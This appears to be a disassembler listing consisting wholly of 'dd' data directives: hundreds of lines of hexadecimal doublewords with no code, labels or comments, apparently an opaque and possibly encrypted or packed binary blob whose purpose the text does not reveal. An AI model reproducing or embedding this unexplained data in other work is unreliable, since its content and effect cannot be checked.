		dd 0DC79D697h, 454172E7h, 81170243h, 67ED3CEAh,	0BE266228h
		dd 3A506940h, 3068FD05h, 14970118h, 0C2044C5h, 0BE0B69E9h
		dd 949B9522h, 515816h, 444BAB0h, 0C15A8919h, 52011BCCh
		dd 0E9C298CFh, 37F0C040h, 284F948h, 0DC6841D1h,	2FE0B065h
		dd 19F2C5Ah, 9C612DFBh,	0B8E45186h, 9DDA2802h, 4BFB09C5h
		dd 9C31CB4h, 6B065119h,	809A012h, 44BA5FB1h, 93E8A31Ch
		dd 908D15C5h, 0F868D984h, 18F7E31Bh, 2C94F337h,	17D8E0A9h
		dd 436B652h, 0A066B722h, 39A28FEh, 0EC19AD27h, 3416A573h
		dd 336E090Ch, 631D386h,	821378EDh, 902EA568h, 0D27C1142h
		dd 55FDF059h, 0F16B3CF4h, 59466C98h, 0CC94395Eh, 0ADC11C34h
		dd 0BE80ED8h, 0CA538F31h, 873FBD80h, 0DA5490BEh, 72E6D1D2h
		dd 66C60147h, 975D2BAh,	90E821F0h, 5C018F73h, 6203A5F3h
		dd 11602B38h, 6BF669Eh,	0EBC1432Bh, 11208603h, 50D696DEh
		dd 0E926E2D1h, 688532CEh, 1CBC1090h, 1529EA1h, 2F20CA80h
		dd 51021CEAh, 0ED93FCB5h, 7041B001h, 2267C96Bh,	0FB1E6B60h
		dd 41250894h, 1C1C8024h, 5043A17h, 0D0E47DA2h, 574A124Fh
		dd 15B134Dh, 0CA4BC050h, 951E2B19h, 0B143A800h,	79E9C10Ah
		dd 7DDFE802h, 0C1CC4A82h, 2A5E5218h, 0C2056032h, 29544137h
		dd 487AA341h, 0EBE5838Eh, 0C3F68E6h, 0E70407F8h, 468EE926h
		dd 84D08BACh, 3612AB58h, 0A709FE2Bh, 2D600E2h, 4554A28h
		dd 9358A468h, 0BC7BD054h, 374CCC19h, 0FA2474E4h, 6817EAA3h
		dd 4FD1F685h, 0C004E4DFh, 0E2BC0C8h, 6801583Eh,	142D08D2h
		dd 21ECE12h, 0FF4B713h,	0A2896664h, 0DE53FDE9h,	0BEE7492Fh
		dd 0A30810A6h, 3FE22572h, 556D455Eh, 33295B31h,	2BBAF11h
		dd 0FC15D4EBh, 1605606Ch, 8946C4A0h, 1F2E8BD9h,	1945D101h
		dd 0F3DC5B59h, 0BA3B645h, 6B50D5F7h, 1B8C9780h,	0E94A2405h
		dd 5AEC2750h, 5B1A57DEh, 9F20E829h, 92027983h, 7C53FA89h
		dd 56099552h, 0B337FA85h, 70592EFBh, 7022053Eh,	915111BAh
		dd 129690F3h, 6357AEE9h, 7D211DCCh, 16394BE8h, 97F2A4D1h
		dd 0BD89794Bh, 0BE028430h, 3A78EB28h, 0C441192Dh, 0C30FB787h
		dd 6AE09966h, 1D46805h,	0F910789Fh, 0CFE982DBh,	0F1800163h
		dd 0F9C1CCD2h, 288A0CC0h, 929DE9CEh, 63B0002Ah,	0D8F6DE2Ch
		dd 2F90C0FEh, 36744A4Bh, 9DA0A685h, 35515E5Bh, 83FD8060h
		dd 0CA9B02C3h, 10A30F89h, 0BDBAAE01h, 90D97E3Bh, 565E0222h
		dd 777118EFh, 301807EEh, 0F96A1261h, 0C0E17F47h, 1EB8068Eh
		dd 7633E9BFh, 0C4573D49h, 0FA8930ACh, 6884E951h, 0C2A83225h
		dd 3A8AE983h, 76D92B32h, 58B16928h, 0B0508A70h,	5E217C11h
		dd 13E01264h, 3ED41C1Dh, 496CDA9Fh, 0E05B2DB5h,	0C0F20696h
		dd 13424E78h, 278B04D3h, 1B6802BCh, 0DBA40E29h,	0F20ABC03h
		dd 18AF4050h, 0BCF18221h, 79E890A6h, 0E5E9D382h, 0C314C8D5h
		dd 0BE7D9404h, 19E6411Ah, 0F271E509h, 46E90DB0h, 5D939562h
		dd 0AE74C5C2h, 2D8C5F16h, 20E5A4BBh, 2959B9C9h,	214400DFh
		dd 11687648h, 0CA189709h, 4004D2Fh, 0DEC2816Fh,	0C32A9A5Bh
		dd 0B8C8A10Ch, 0C3685798h, 8D07F05h, 0DDF133E9h, 0E4752847h
		dd 0E80142D7h, 13C9C04h, 90368C2h, 978378D9h, 8754C380h
		dd 5E8BE931h, 1E318404h, 0FFA4CD4Fh, 8A260B9h, 28E2598Ah
		dd 50A6FD42h, 49ED9ECAh, 278D0DF0h, 40747BF3h, 413D4A9Ch
		dd 4B37818h, 0E506EFFEh, 0A2A4C384h, 24EC1604h,	13545A8h
		dd 0FC9AC2D0h, 2139BE00h, 811B01EEh, 0BF6D3CCEh, 128B434Fh
		dd 48DA5646h, 0E930C3B0h, 879F2D01h, 6812DD66h,	322C6216h
		dd 0FE1D2DE9h, 684E992Ch, 0C5719931h, 282E2AD0h, 9FE8C18Ah
		dd 21F5E312h, 0B3E9B191h, 2D3B9025h, 724F60C4h,	2E3F9391h
		dd 0B818AF32h
		dd 0A2295A2Eh, 0A7758623h, 822BB519h, 0BFEAF0EBh, 0F28264FCh
		dd 0C0E33886h, 8B0E56B0h, 47096A09h, 7DA7861Ch,	0C199049h
		dd 71614C7Ah, 2D04596Ah, 740E3369h, 2CA87FE0h, 977C27Ch
		dd 34FACB22h, 0EA0CCDD8h, 0AD1F3774h, 1830C0FCh, 891F149Eh
		dd 0F5C05AD5h, 179031DCh, 0BCDEE45h, 49BB4C30h,	0F028DE07h
		dd 6F890827h, 5BD1204Eh, 0D14DE5B5h, 863434E1h,	5BD83D20h
		dd 0CFB8F63Ch, 0ECFCC335h, 624B482h, 0E2F82304h, 5E4EF613h
		dd 6809BC8Ah, 0F6E66F9Ah, 5F03C620h, 206908Ah, 6D0CB450h
		dd 0A21BE480h, 0F6309733h, 0EE0B7254h, 46DA2916h, 0FD49F9EDh
		dd 0F4BE2C7Fh, 66680741h, 0A75052C9h, 41AF1F96h, 0EC05F877h
		dd 6094128Dh, 691DA08Ch, 5E811EC6h, 0E8382CFAh,	5581F320h
		dd 0D1B7DCD9h, 0CB38B9C4h, 0D3816EB1h, 699D442Eh, 38E417B7h
		dd 4D290A68h, 4FD841DEh, 0E67F5636h, 32214A89h,	540C407Fh
		dd 6140D390h, 36DD5CF6h, 5E5A7220h, 0BA52D057h,	4FB3A508h
		dd 5F218BB8h, 17461C58h, 22D51BDFh, 5004D5A8h, 0B017D62h
		dd 0A989895Eh, 277D146h, 0F6E4734h, 79429C62h, 11030807h
		dd 0C85A595Bh, 51B28268h, 0F616E917h, 7BF0C7B5h, 40D8944Eh
		dd 0E9B3B753h, 137C5820h, 14D8015Bh, 45389C34h,	94212793h
		dd 0D6A0F843h, 25118E50h, 0D3BCE658h, 0DFFD7223h, 44314369h
		dd 6963EC87h, 169B790Dh, 55C69E5Eh, 8F946D28h, 1AAF95D3h
		dd 4E62B675h, 7698B74Dh, 529EF7E9h, 2676BA01h, 92E80E93h
		dd 9F2EB107h, 8F78352h,	0C0F21388h, 0C101A274h,	0C83110E8h
		dd 8419293Fh, 3B30E99Dh, 98C120ABh, 302AE56h, 0F702E3C1h
		dd 7BDE80D3h, 0FCF273A2h, 8D4BE9h, 8005B492h, 97F435ECh
		dd 0BD00819Ah, 0EE75751h, 28D5ED81h, 6B9247Eh, 0C7C73F5h
		dd 9A001852h, 29AAD269h, 55DE8h, 55EC104Ah, 0D1563548h
		dd 7649A3Fh, 8D6858C2h,	4312B0B9h, 74081E45h, 2111258Bh
		dd 955E74F0h, 0FD82C898h, 43EDC848h, 3C0B7313h,	0F09F6AB2h
		dd 5D731106h, 0E9597506h, 0B214B35h, 7FAF68E0h,	1F823A59h
		dd 581D1805h, 64C105D9h, 0F92B1A3Dh, 702573B4h,	5D8C3879h
		dd 2CEF2D68h, 138478EBh, 42103C1Ch, 79676809h, 311F24B0h
		dd 44D444A2h, 25A4458h,	0C159404Ah, 0B54002E1h,	0BA3C7423h
		dd 93EBA635h, 36F3B803h, 0E309F2BEh, 3390BC36h,	941D5568h
		dd 0B5356334h, 0A5EA1A49h, 0EA25A912h, 0CC5E6FB6h, 9331E98Eh
		dd 2865D120h, 3000B30Ch, 0D9885166h, 2CE9C1FEh,	59F9454Dh
		dd 84606F59h, 555AD1h, 124862BDh, 1BE94D78h, 943084BEh
		dd 9DCA50DDh, 0DD91286h, 4A042958h, 537AA2C9h, 0ADE00557h
		dd 9E85ACD4h, 34394E0Bh, 0C988555Ah, 5816CB28h,	13D70195h
		dd 3AEC9BE6h, 0F3BA8544h, 683820ABh, 98BF2258h,	26548F25h
		dd 12DD3A5Ah, 71398C40h, 0C5A5AC03h, 27DB84E9h,	97C8F644h
		dd 3082B46Dh, 965AD386h, 8CE9675Ah, 0D3992927h,	50135119h
		dd 830A2920h, 40ECC9D9h, 0F0285B0Bh, 2D586F0Ch,	90890D37h
		dd 0DFE2200Fh, 86DAE982h, 21F8B280h, 0E9120AFCh, 15D23841h
		dd 63787801h, 0C2B3CFEh, 5DEBDD00h, 17FDFBFh, 0FE29759Fh
		dd 7E2F9AD4h, 0C21E9559h, 4E68D5C3h, 3AB71702h,	12ADF719h
		dd 685E830h, 0E98237E9h, 0F17316FBh, 8887446Ah,	0DC3750E3h
		dd 6C58E152h, 0CFCEFFAh, 0E0E92587h, 6F688302h,	0D360DEDAh
		dd 0E41BD6Bh, 18E9F9A2h, 4E25202Ah, 7448035Bh, 0D2C84A12h
		dd 0DDE913D9h, 96CE258h, 984BA468h, 1763B8C1h, 0B1D3FB3Ah
		dd 9B036E54h, 9B397201h, 8BC7C2F7h, 9904C608h, 0F8216354h
		dd 252C2348h, 8470E8DDh, 4546263Fh, 9DCC1DC1h, 0EE89CB6Bh
		dd 0EAC0CBF1h, 2DA07D63h, 41C20176h, 4704080Bh,	4CF525h
		dd 80E4B6CAh, 0B1514AC2h, 868155D7h, 0D8C130EDh, 4D98C058h
		dd 0BCC2E913h, 20502FE3h, 5D064F39h, 0B08CD38Bh, 8B70B52Ah
		dd 5859EA25h, 76807EB1h, 29CA5B53h, 0E50375FEh,	0A70E7FEAh
		dd 71E389E9h, 46804F3h,	0AE561F3Dh, 91B29F53h, 1451C4h
		dd 6B1E9E35h, 58F1F410h, 0F7A0DF4Eh, 9E2468E1h,	5064E403h
		dd 0B295BC81h, 714E5E02h, 6BDB9A95h, 4A80E845h,	28C56801h
		dd 22581308h, 0B8C05BA8h, 0E454DAE9h, 9009BD65h, 80428546h
		dd 334BDC90h, 0FF7EE3Dh, 8EF281DAh, 6CF605h, 4ABEDFD8h
		dd 16BF2994h, 0EF010AEBh, 8587D1E9h, 4BBF5759h,	0AA23F90Eh
		dd 0FDBD1968h, 8BE98FF7h, 0E18D2F2h, 472D45D1h,	359FCEC0h
		dd 0B19854D6h, 2099C4Eh, 0CB165E21h, 48F0430Eh,	78FD20C3h
		dd 0F4B0B268h, 81E35C02h, 2CF5CBD6h, 5E9DA189h,	8783C797h
		dd 49F8E2ADh, 3EF15F76h, 0BA360A38h, 0D616C0BFh, 0F8E4215Ah
		dd 0F568165Eh, 85A6353Dh, 0A119811Fh, 4FDFA6B8h, 0DA85A401h
		dd 0F330CA29h, 0CB635E41h, 11CC5EE4h, 20A6B4B1h, 7AC0FD1h
		dd 0DE692820h, 53258DA0h, 0A4A03261h, 93B26DD1h, 0DF18C132h
		dd 20D1560Bh, 743B1DC8h, 0F781409Ah, 7EF31C48h,	5FF82913h
		dd 6DFA3501h, 0CF705028h, 60565F06h, 0CF605FF6h, 19B7758h
		dd 75CB3880h, 0A43849E9h, 416EB797h, 9DE5EF06h,	8F493BF4h
		dd 0F4C34283h, 0AC762CA1h, 3294037Fh, 0C025304h, 0DE47CBB1h
		dd 808CC221h, 92656D76h, 10A0BD6Ah, 0A3B6BFF5h,	3F016826h
		dd 25567C69h, 0FB984462h, 0C07DA6C9h, 7FE0573h,	8224F1F2h
		dd 520C1F28h, 955C8FBDh, 4F4A3018h, 5B3D2514h, 0C4529FF5h
		dd 552DC98Bh, 30B573ECh, 97259518h, 50A45A0h, 74906255h
		dd 0F097C774h, 68CC80C7h, 21AC0651h, 1E02E7C1h,	90AAB08h
		dd 0F4DF003Eh, 0FB29C6A2h, 632C4C90h, 80419730h, 0CBD518F3h
		dd 962B0FF1h, 5279B291h, 0BED59F54h, 745CE503h,	0E2DEF756h
		dd 2EDCBA9h, 0C8181BC8h, 0F45C5D29h, 9CB35386h,	1FF64C54h
		dd 0DF647F19h, 274ADCF3h, 0FC88D2BEh, 18942FD2h, 11015690h
		dd 0C164DF3Bh, 68008E0h, 26E52503h, 2D042F4Dh, 2947FFFCh
		dd 0B4EC5884h, 85078043h, 6F8BCBA4h, 1967AF40h,	0F948293Fh
		dd 5F0840A8h, 931BF1FEh, 761ECC0Ch, 0BFEF9730h,	0F096E98Bh
		dd 91788228h, 0EE385FBAh, 0DA4FB940h, 0A2600406h, 64B82F23h
		dd 0FFDB4EB0h, 0F4E8C165h, 0B2D8777Fh, 10C824F5h, 0F7241C45h
		dd 94207472h, 2D186805h, 0E504232Ah, 6CB9F1C8h,	30B9C602h
		dd 0FA406A3Bh, 481C378Eh, 6252E945h, 0BAA6ABA8h, 81DF5459h
		dd 1981E953h, 5E80100h,	0B41B7500h, 8F685D4Dh, 60259437h
		dd 7F0413ADh, 464522FAh, 0F701837Ch, 0E906DB20h, 5F276CCEh
		dd 407E35DCh, 0E813313Fh, 0A8A3AC68h, 0D23B445Eh, 0B60F430Eh
		dd 56C3A5C8h, 1CE9C529h, 0FCAF221Ah, 0D9315268h, 9CFCBE4h
		dd 28C108C8h, 5A740B9Ch, 0FE84204Bh, 25B9A2E2h,	0FC552208h
		dd 61BB00AEh, 4C005533h, 8EE38143h, 9D29BA08h, 0BEACC001h
		dd 0DA89E00Dh, 0E2A5E927h, 68EEE863h, 0E07654D7h, 0BF306FADh
		dd 0BB396364h, 1619DA53h, 882F4A6Bh, 56711C99h,	4220727Fh
		dd 5116C043h, 5F2E610Ah, 92148725h, 54ABC41Fh, 22DC9BEh
		dd 64470E72h, 2762D801h, 0FF580829h, 0A5714F20h, 171428B2h
		dd 9ED310Eh, 3442AB82h,	1C30AED4h, 2116CBFh, 0E9D6011Ah
		dd 91550350h, 183C5C27h, 59D55D8Ch, 585C79B8h, 805C05C0h
		dd 9AC7B7C1h, 0FC6902EBh, 870500B0h, 4E7C1426h,	0B9513012h
		dd 58E90CA4h, 0C380EAE3h, 49F6694Fh, 88FA8B7h, 0F4A71225h
		dd 83184FF3h, 5A5C3D68h
		dd 3A8AD888h, 802C01B2h, 0EAC090C2h, 8206A703h,	0E330D3DCh
		dd 5CCA82D6h, 67F47A5Dh, 0A99DE90Bh, 9A57B353h,	0A9B980E3h
		dd 0E4730h, 6686E581h, 4EE96382h, 0BF47DD5Ah, 699C0BDh
		dd 7E5D28Bh, 782CE5B8h,	6E64C26Ah, 0C3BAB05Dh, 0C4C8248h
		dd 0D7BC8FB2h, 0E8F1D4E9h, 0F352A705h, 18D4D982h, 97B85A5Ah
		dd 6142C7E9h, 5C4E980h,	794503FEh, 0C05755Dh, 155C2A53h
		dd 10DECE01h, 77626F72h, 0D674B81Eh, 0C2832402h, 0BA00BE8Ch
		dd 50962EA7h, 0C121D376h, 43FCE6D5h, 0F64280BCh, 4A3267F1h
		dd 2D8527E9h, 79EDF120h, 312C5841h, 85399FF2h, 1CA07653h
		dd 3AD08416h, 9D5548E9h, 24ED34E9h, 1B3F0504h, 40319E2Ah
		dd 38E257D3h, 6620D9Ah,	0C1B48050h, 970DF750h, 863020C6h
		dd 0D2CEBF11h, 48E83461h, 0F678C0CAh, 7749E90Dh, 6B59243Eh
		dd 4EAB4502h, 2D8C5529h, 0C38302FEh, 1254B9C6h,	89E7799Fh
		dd 0D29E1694h, 60F0BE00h, 0D68740B5h, 3B909A52h, 8DD1315Ah
		dd 0E9460885h, 2DBDB127h, 0AC9310C7h, 4ED92C28h, 884E21ECh
		dd 0D3C20460h, 40D1C8F7h, 991FAA3Fh, 47AC70EDh,	580F00F5h
		dd 11B93F1Eh, 58290BC9h, 2BDC2C04h, 629A8257h, 125E022Ch
		dd 0B9F025h, 319B2178h,	2775D525h, 1023571h, 8972286Ah
		dd 0A509E2C7h, 48B28739h, 0B474257Bh, 2A8BD8F1h, 2C4B66ACh
		dd 0C84AAA68h, 78133DA5h, 0CF8AB813h, 23AA0BDh,	921BE97Bh
		dd 0F54250E1h, 7E51063Fh, 0A8DAF73Eh, 5D600F02h, 54BBE912h
		dd 0F0E69792h, 3013DDD6h, 440C796Bh, 5FE90DD9h,	5F0F0B26h
		dd 0CBDD5D68h, 0B5E8B5CAh, 25585210h, 746E9104h, 7E35BC0Bh
		dd 0D04008A2h, 0F7805C53h, 0B7A197D1h, 0AC6A73BCh, 0A804CCAAh
		dd 0BFBE8B5h, 1341EA0Dh, 989A805Dh, 2D340D25h, 890202E1h
		dd 5D8292Fh, 0BB5B0784h, 0C1AED860h, 10825A3h, 104642AAh
		dd 0EF147D49h, 129B5202h, 6F063F04h, 5DA4EA89h,	0BF0ED50Ch
		dd 54E10769h, 0CC5FFE01h, 0EE5081DEh, 56695B0Bh, 0B136D2B2h
		dd 0ECE96FA6h, 78D03442h, 536AEA02h, 8905584Eh,	2D2FF206h
		dd 4A66BA92h, 5A65595Eh, 1A100AE3h, 295A04ABh, 0ABC75EF0h
		dd 33483C68h, 5BE65510h, 63002412h, 0D30467ACh,	5BDF3C21h
		dd 6879F782h, 70583D6Eh, 12BEC5B9h, 0CC613CE7h,	40C9237Fh
		dd 57529340h, 676A4CD7h, 584CA705h, 82CF0065h, 0E9383E16h
		dd 0E86F802Fh, 30717C5Ah, 170C2F72h, 7F409569h,	5A01E50h
		dd 3543CCC9h, 0F2F6552Eh, 31620EB2h, 5C282AC6h,	0B851C5A1h
		dd 3CA4B28h, 1D26A857h,	0F1018ABFh, 7DC70FC8h, 13A4496Fh
		dd 4CFC10EBh, 0A46CC930h, 50E143E5h, 6683B368h,	9AEAF1F7h
		dd 0D6F2AC6Ah, 0C15BDBF2h, 95636CCCh, 0E8290F83h, 0ABF86Bh
		dd 7F22AA2Eh, 0BA60F627h, 45912F5h, 0AF8C9153h,	4E008E4h
		dd 9EFC6B5h, 0A701ABD1h, 68CB2C02h, 0B2998FFh, 5FC89078h
		dd 0B8401394h, 0B617E4B7h, 5657DC00h, 7B0EBE66h, 7EB54D23h
		dd 1FE4B90Eh, 0E101C654h, 78F44EECh, 0A8CD4449h, 6BF18071h
		dd 0F6374A29h, 42CC5939h, 0BA9DC19h, 565210D7h,	2A7C0B68h
		dd 600020D9h, 930F1AEEh, 7D92C67Dh, 653EC806h, 80E65A46h
		dd 24685E07h, 693631C9h, 32EE4F00h, 5017FD4h, 0ADE1D21Ch
		dd 0EB354DE9h, 50E96FCh, 0E8C134D5h, 613F8708h,	84156B3Fh
		dd 464969B3h, 73E0EBAh,	3A845AB0h, 0F5A68F31h, 0D5F75F00h
		dd 424F5279h, 0ED045E84h, 0C599B6EBh, 226942h, 37EF8147h
		dd 0EC272B7Fh, 4527289h, 27CB04B0h, 0A0AF8501h,	7A04EF1Fh
		dd 5E3ACC19h, 0E9A203FCh, 2F5DBB42h, 0C61342D7h, 1AC6E035h
		dd 55BC093Eh, 0F378475Bh, 445D6D27h, 0D2584AF3h, 0B062134Dh
		dd 4F903C50h, 2402F948h, 381E35DCh, 62B4937Fh, 0CF87B721h
		dd 0C7ED1C7Eh, 808107E7h, 10FD17F1h, 26EA0898h,	0C745A30h
		dd 9819826Bh, 9ED0E0C1h, 39635A60h, 4AE1E29Ah, 5F5E63EAh
		dd 290143D1h, 3DD56801h, 0F12716B5h, 77E06B65h,	5D622468h
		dd 2111E001h, 2D3F69E6h, 5832028Dh, 499C4535h, 0F83C0363h
		dd 7D05BE02h, 47738B5h,	9A868985h, 4E90B0A3h, 1226B620h
		dd 0AF2111Eh, 896AF49h,	5F1B630Bh, 0BF27A69Fh, 0C01323AEh
		dd 0CD814D0Fh, 0B8188214h, 0EEF500FEh, 89B3B571h, 3300B7E9h
		dd 442C768Eh, 28CE013Ch, 0AE9E08C6h, 0B8818951h, 0F705E2C1h
		dd 0CA8260D2h, 0F83DCD16h, 20CE450Bh, 5EECBDE3h, 4B617A96h
		dd 33B80934h, 0D2EE4E62h, 1D023990h, 4A497946h,	0C952C053h
		dd 0D5949D0Ah, 0F625E5Eh, 90A45553h, 51789182h,	0C1FEF0B1h
		dd 848C07Bh, 6895789Dh,	0C00D6E94h, 20B0C257h, 35F61E09h
		dd 534CE89Ah, 94882FE9h, 4B05A10Fh, 0C67B432Bh,	7DEA8FF6h
		dd 254D9A78h, 125A3B2Bh, 0D353777h, 0DED1BBE9h,	0CF9D445h
		dd 408C8E64h, 546552A7h, 0A6D14444h, 842A315Dh,	0D895E9E6h
		dd 256B84Ch, 571FAC78h,	0C8E86CE9h, 2A0086BDh, 520529A6h
		dd 9709AB75h, 7019CC2h,	970279E9h, 0F3F0C6A5h, 0F74E0106h
		dd 0E9FE87D6h, 5821B1D9h, 2901CE95h, 8B965EFh, 0C28A9BB9h
		dd 15E100EDh, 0FA2A7F3Dh, 906492C4h, 70B10E06h,	0CC0FBDB4h
		dd 8878BAA9h, 7F3CD59Eh, 81DD5E4Ah, 0C45B9C28h,	0ED7AC05Ah
		dd 7348DE34h, 413F7C5Dh, 0E5C10946h, 0C56D0004h, 401D558Eh
		dd 0B2041961h, 0EE01BAA4h, 4E644781h, 760761BCh, 9F1E5503h
		dd 0A4A85785h, 751EC591h, 0F4DF7AD9h, 3060B7E4h, 975966C8h
		dd 0B02C8514h, 0CC2C82B7h, 0AB168096h, 3C44AB12h, 42BC792Ch
		dd 0C4245010h, 12AF53B5h, 0A7A7E0FCh, 3E66D749h, 2F25858h
		dd 28CFB252h, 9D0341D3h, 5C540E6Fh, 1366C309h, 74296650h
		dd 29DDE930h, 0B0585450h, 2098A6C0h, 0BD9EF7BDh, 47D71A3Bh
		dd 25A54006h, 0AA61B561h, 2648DF18h, 574079DDh,	25C900B8h
		dd 863568D7h, 4A7F375Ah, 20C5F12Fh, 7E54013Dh, 6EFC806Ch
		dd 0C181730h, 4BD52970h, 0EE9E757h, 0E5BE56h, 0D22D6402h
		dd 1ED052Ch, 0A85221E9h, 7D3F9402h, 442D6082h, 55462C2Bh
		dd 0DC051803h, 30F545D5h, 0DD0BE33Bh, 8322B04Dh, 5849C234h
		dd 80445998h, 37CF3F05h, 4F2FCE50h, 2A3EA423h, 5E67B2B4h
		dd 754BCDF2h, 82766892h, 146F6805h, 55C512F8h, 0E689FD47h
		dd 0B5C5970Ch, 525E6397h, 2E68D502h, 6C2B5E2Bh,	546A8024h
		dd 0C9109186h, 391A8742h, 0BCC03DE2h, 0C8B50646h, 0C5E03DC7h
		dd 835EF71Bh, 0F5DAF9E2h, 4625BC7Ch, 6894BCFFh,	43B23BF2h
		dd 1BD74147h, 893E971h,	1D2BF64h, 6B58F281h, 844A0DF0h
		dd 1C4EE912h, 0EA6D20EEh, 0F63B7F32h, 0A20C7855h, 6277F91Fh
		dd 684D40ABh, 0C4270325h, 0D9B295DEh, 5A408475h, 2C5F25E8h
		dd 58F80184h, 77D49495h, 0FFF066E9h, 0CD5CC4E3h, 0F73D0253h
		dd 40EED1DEh, 71E615F9h, 0B8E49F61h, 51055D00h,	290DAD45h
		dd 72D51C8h, 65399A87h,	0BFFA3C98h, 103E4F02h, 9B66B6E9h
		dd 0EA3BC2F0h, 0A8DEF967h, 31EF408Dh, 215AD009h, 9AD8BC1h
		dd 27B55CE8h, 688627C5h, 25411105h, 0DAE62F75h,	9865A92Dh
		dd 4DB2DCh, 81437687h, 724F97EBh, 0C3830512h, 78BC7009h
		dd 4160F72Dh, 648D9E0Fh, 0AFE1D416h, 1E2C0145h,	201CB422h
		dd 950C9205h, 2DBE6158h, 688D01E2h, 282F6DE5h, 9E5BBDh
		dd 0FEF8140h, 0AF0528D2h, 7C2605BAh, 8201118Ch,	4BFCAD25h
		dd 56B0769h, 963C38ADh,	0D56BBD4h, 0E0B3E916h, 903129h
		dd 2DA980B5h, 30C12866h
		dd 791204E3h, 7D60BB1Bh, 744F8D0Ch, 164C98BFh, 0C66AB2h
		dd 7714C708h, 80982790h, 68CBDE81h, 595A25A6h, 6068EB49h
		dd 2980A3C2h, 7C7590F2h, 743920E8h, 9345848h, 0A5EEE921h
		dd 0B6458A9Dh, 70B33577h, 0E955285Eh, 0AA5288C6h, 85C49538h
		dd 5FB99B01h, 5AD709E5h, 5106B08Fh, 9F6DC440h, 0CF30315Eh
		dd 1AFDEC59h, 1391204h,	95B604FBh, 95F003Bh, 90E2D1C2h
		dd 1A9B088h, 0CE813332h, 70083161h, 0B827E6FEh,	8FA50413h
		dd 12C360FEh, 6A241C27h, 0C5000D4Dh, 2D6CEA26h,	25163815h
		dd 52610D03h, 46D00E2Bh, 3A161848h, 7B52BFE9h, 1488E5F9h
		dd 60A31F95h, 9F20CF52h, 0C5291F21h, 0C1D8958h,	68419459h
		dd 0D1370A01h, 2D4DEB40h, 1DF0CF7Dh, 254430FBh,	2E61C0A1h
		dd 6C329847h, 1BF2774h,	54BC2102h, 0C6F2DB29h, 0A95D0884h
		dd 0C17DCC0Bh, 2268125Ah, 0B7F32Bh, 7D846775h, 5DF0548h
		dd 0D107810Dh, 5BB007E8h, 1BDD245h, 2C4E6778h, 0F9ED8984h
		dd 0AFA29F84h, 0C497A633h, 0F6817F9Ch, 56113E0h, 0B3E1465Eh
		dd 0F3051B09h, 7F5803B2h, 5AC4E6A4h, 0E52888F0h, 0A2FF21BAh
		dd 1C0A94D4h, 83173144h, 0DA07F502h, 8C6422Eh, 0E9040883h
		dd 31FB5170h, 6A3A323Eh, 0CA558C23h, 80ADA12Dh,	0E6E0BAEEh
		dd 81F99CB9h, 37206A19h, 40EADB29h, 0F2816154h,	77CF4F57h
		dd 13609920h, 0AC31DE49h, 0D4E90B8Dh, 53BBE832h, 7E788317h
		dd 25AC592h, 62125CF2h,	5C7CDC51h, 9944D24Ah, 0A41EA1F3h
		dd 0ACB844D8h, 62BE0263h, 5555C310h, 53E602A0h,	13584E4Ah
		dd 0AB837D9Ah, 37434DD2h, 0ACDB12D2h, 0A688B444h, 0FEE24C20h
		dd 40B999A5h, 59385244h, 0F329192Eh, 0AB902417h, 2F2D44EFh
		dd 40E23BB2h, 0DD1DFD00h, 0E4B5A6C0h, 607CF497h, 0AAEB3360h
		dd 90B0DB32h, 2A57F301h, 0DF3189C1h, 0E946313Bh, 549974A1h
		dd 3C3EB8BBh, 2818E1C9h, 832E5BF8h, 30A9068Ch, 77C03BC3h
		dd 0B116EF68h, 5709AF34h, 22098AF8h, 834E5537h,	0F0617121h
		dd 49E95369h, 2D0275F7h, 548D4506h, 16C0B4FCh, 927F493Bh
		dd 294112DBh, 0C528097Dh, 0C626C5F2h, 5A302469h, 7A39FEh
		dd 4ED6F76Bh, 99EBD55h,	0E9354004h, 0D4E2E16Fh,	225DB34Bh
		dd 4C169D08h, 0E90B8391h, 5F534121h, 0F2A7BF68h, 0CDD122D9h
		dd 2DDE68C1h, 0B31F306Bh, 0DD2E8846h, 0F85BF05Bh, 2F6D9B7h
		dd 0DAE780D7h, 0D541C7FEh, 25242E29h, 691A6FC0h, 8E2E4825h
		dd 10D1631h, 7A7A25D1h,	0F2D97E13h, 7F0AC13Eh, 0FFB203E6h
		dd 47D47575h, 450B8304h, 0AEF8671Eh, 0C6F68C26h, 61CB329Fh
		dd 0A3647BA0h, 0DEC5A795h, 0A52DFB27h, 416B38F1h, 0A7F2C11Eh
		dd 2B7230C1h, 47466A0h,	5228F181h, 0B01BFE6h, 154E4457h
		dd 8E5506Bh, 0F62F294Eh, 0EB018D6Ch, 3C0652DBh,	0DD86D7E9h
		dd 65AD528h, 0B7B20AF4h, 79B25D4Bh, 5E1BD29Fh, 5FFD09F1h
		dd 0D1C5E1FEh, 8ABFDC90h, 45842F2Dh, 0DE70AF09h, 9EF4A116h
		dd 5FFA2300h, 9504EA83h, 5413F3B2h, 160C2CDh, 189AFB82h
		dd 0F7CD8700h, 0AC09D2D1h, 2ACE01EEh, 0EE9120Ah, 0C55F382Ch
		dd 0B79F6012h, 0CF61FE1Dh, 6EFC004h, 0E9C3C03Eh, 25950C83h
		dd 8640ECA4h, 1A34AEB9h, 0CE311CA0h, 1278E559h,	0B2E9E80Ah
		dd 6880E93Eh, 27D649C6h, 93E905Ah, 0E2C9EE0Ah, 0E92F77D8h
		dd 0DB2109D0h, 20652447h, 0A4C5B506h, 2B38E98Bh, 0D0847EEEh
		dd 7A5CA568h, 0E2D8DC88h, 91A98DC0h, 0D7B883ECh, 1CEEE03Ah
		dd 0D1606A25h, 254E4226h, 290BB665h, 0A8A02DAh,	1580BB5h
		dd 0C048B7F0h, 0DE5AA27Ch, 455651E3h, 163C193h,	0A5C0DCDEh
		dd 97BC0ED3h, 583882F5h, 0BF071CDDh, 1A5CA629h,	6009E958h
		dd 1C04F62h, 0A3D26857h, 982D4E01h, 61EE0C55h, 6105C959h
		dd 8358C767h, 0EB805C81h, 4CC398A6h, 78B00050h,	96342E0Ch
		dd 95E9D8F6h, 5E88AD6Ch, 0BE8C713h, 0A4E04BA5h,	0E08061DCh
		dd 434C3502h, 1E4B7556h, 4A32FEBh, 0F4AF39E9h, 3E41F00Ch
		dd 90C2DF30h, 95C35E63h, 745FA0D4h, 0D6E63DF7h,	44961BBDh
		dd 12AD1195h, 0D20FF913h, 1ECA4507h, 0D8051E63h, 164BB840h
		dd 29EC87E9h, 0BC5DA6BCh, 0D1F6160h, 0B0E92F1Ch, 70CD5420h
		dd 787BCE07h, 160B5432h, 69AA6241h, 0DD6E5220h,	16AF6921h
		dd 2A301BBh, 64E9598Fh,	9338B1D9h, 0EC00F3D2h, 0E02347F6h
